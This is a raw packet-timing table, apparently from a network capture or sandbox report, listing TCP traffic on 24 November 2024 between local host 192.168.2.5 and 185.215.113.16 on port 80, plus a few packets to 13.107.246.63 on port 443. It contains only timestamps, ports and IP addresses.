Nov 24, 2024 23:24:50.652693033 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.652723074 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.652892113 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.652966976 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.652967930 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.652981997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.653029919 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.653496027 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.653549910 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.653553963 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.653568029 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.653608084 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.653631926 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.653636932 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.653686047 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.654392004 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.654444933 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.654462099 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.654474020 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.654520035 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.654975891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.655041933 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.655050039 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.655070066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.655081987 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.655097008 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.655129910 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.655910015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.655922890 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.655932903 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.655945063 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.655966997 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.656008959 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.656745911 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.656795025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.656796932 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.656810045 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.656851053 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.656902075 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.656968117 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.657646894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.657680988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.657692909 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.657711029 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.657744884 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.657768965 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.657918930 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.658649921 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.658708096 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.658762932 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.658776045 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.658818960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.658911943 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.658976078 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.659507990 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.659519911 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.659537077 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.659550905 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.659565926 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.659601927 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.660309076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.660335064 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.660346031 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.660366058 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.660401106 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.660401106 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.660432100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.660599947 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.661205053 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.661242008 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.661252975 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.661271095 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.661329985 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.661364079 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.661411047 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.662157059 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.662215948 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.662250996 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.662266970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.662278891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.662298918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.662332058 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.662993908 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.663037062 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.663049936 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.663049936 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.663098097 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.663127899 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.663172960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.663861036 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.663909912 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.663922071 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.663924932 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.663960934 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.663995981 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.664154053 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.664791107 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.664824009 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.664835930 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.664843082 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.664849043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.664884090 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.664884090 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.665643930 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.665685892 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.665705919 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.665713072 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.665719986 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.665745020 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.665779114 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.666548967 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.666601896 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.666619062 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.666631937 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.666690111 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.666693926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.666768074 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.667442083 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.667484999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.667498112 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.667527914 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.667538881 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.667552948 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.667599916 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.668319941 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.668360949 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.668371916 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.668378115 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.668415070 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.668447971 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.668538094 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.669194937 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.669238091 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.669250965 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.669254065 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.669291973 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.669346094 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.669397116 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.670082092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.670119047 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.670130968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.670151949 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.670201063 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.670239925 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.670361042 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.670975924 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.671017885 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.671030998 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.671049118 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.671084881 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.671103954 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.671185970 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.671871901 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.671925068 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.671936989 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.671947956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.671956062 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.671994925 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.671994925 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.816862106 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.816881895 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.816946030 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.816987991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.817014933 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.817089081 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.817090988 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.817101955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.817114115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.817148924 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.817179918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.817883968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.817964077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.817996979 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.818047047 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.818202972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.818265915 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.818279028 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.818326950 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.818397999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.818448067 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.819155931 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.819175005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.819185972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.819232941 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.861021042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.861059904 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.861066103 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.861097097 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.861130953 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.861236095 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.861283064 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.861300945 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.861326933 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.861345053 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.861396074 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.862162113 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.862174988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.862225056 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.862252951 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.862284899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.862453938 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.862528086 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.862540007 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.862600088 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.862622023 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.863158941 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.863358974 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.863415003 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.863416910 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.863429070 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.863477945 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.863512993 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.863615036 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.864267111 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.864325047 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.864326000 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.864341021 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.864393950 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.864434004 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.864614010 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.865169048 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.865205050 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.865216970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.865230083 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.865261078 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.865282059 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.865376949 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.866261005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.866326094 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.866324902 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.866388083 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.866400003 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.866429090 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.866456032 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.867113113 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.867165089 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.867172003 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.867177010 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.867197037 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.867233992 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.867266893 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.867832899 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.867856026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.867876053 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.867894888 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.867944956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.867958069 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.868120909 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.868704081 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.868716955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.868729115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.868783951 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.868819952 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.868872881 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.868967056 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.869585991 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.869640112 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.869651079 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.869705915 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.869738102 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.869748116 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.869797945 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.870466948 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.870501995 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.870513916 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.870532990 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.870563984 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.870619059 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.870759964 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.871342897 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.871397972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.871409893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.871464014 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.871491909 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.871898890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.872221947 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.872293949 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.872298956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.872312069 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.872340918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.872375011 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.872468948 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.872680902 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.873111963 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.873167992 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.873171091 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.873184919 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.873233080 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.873318911 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.873395920 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.874000072 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.874069929 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.874082088 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.874099970 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.874135971 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.874159098 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.874258041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.874897003 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.874958038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.874969959 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.874970913 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.875047922 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.875102043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.875786066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.875839949 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.875852108 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.875864983 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.875896931 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.875945091 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.876012087 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.876530886 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.876655102 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.876692057 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.876725912 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.876735926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.876748085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.876777887 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.876777887 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.876816988 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.876868963 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.877083063 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.877106905 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.877116919 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.877587080 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.877635002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.877640009 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.877648115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.877692938 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.877721071 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.877944946 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.878597975 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.878648043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.878659010 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.878673077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.878707886 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.878828049 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.878900051 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.879400015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.879426956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.879439116 CET	80	49885	185.215.113.16	192.168.2.5
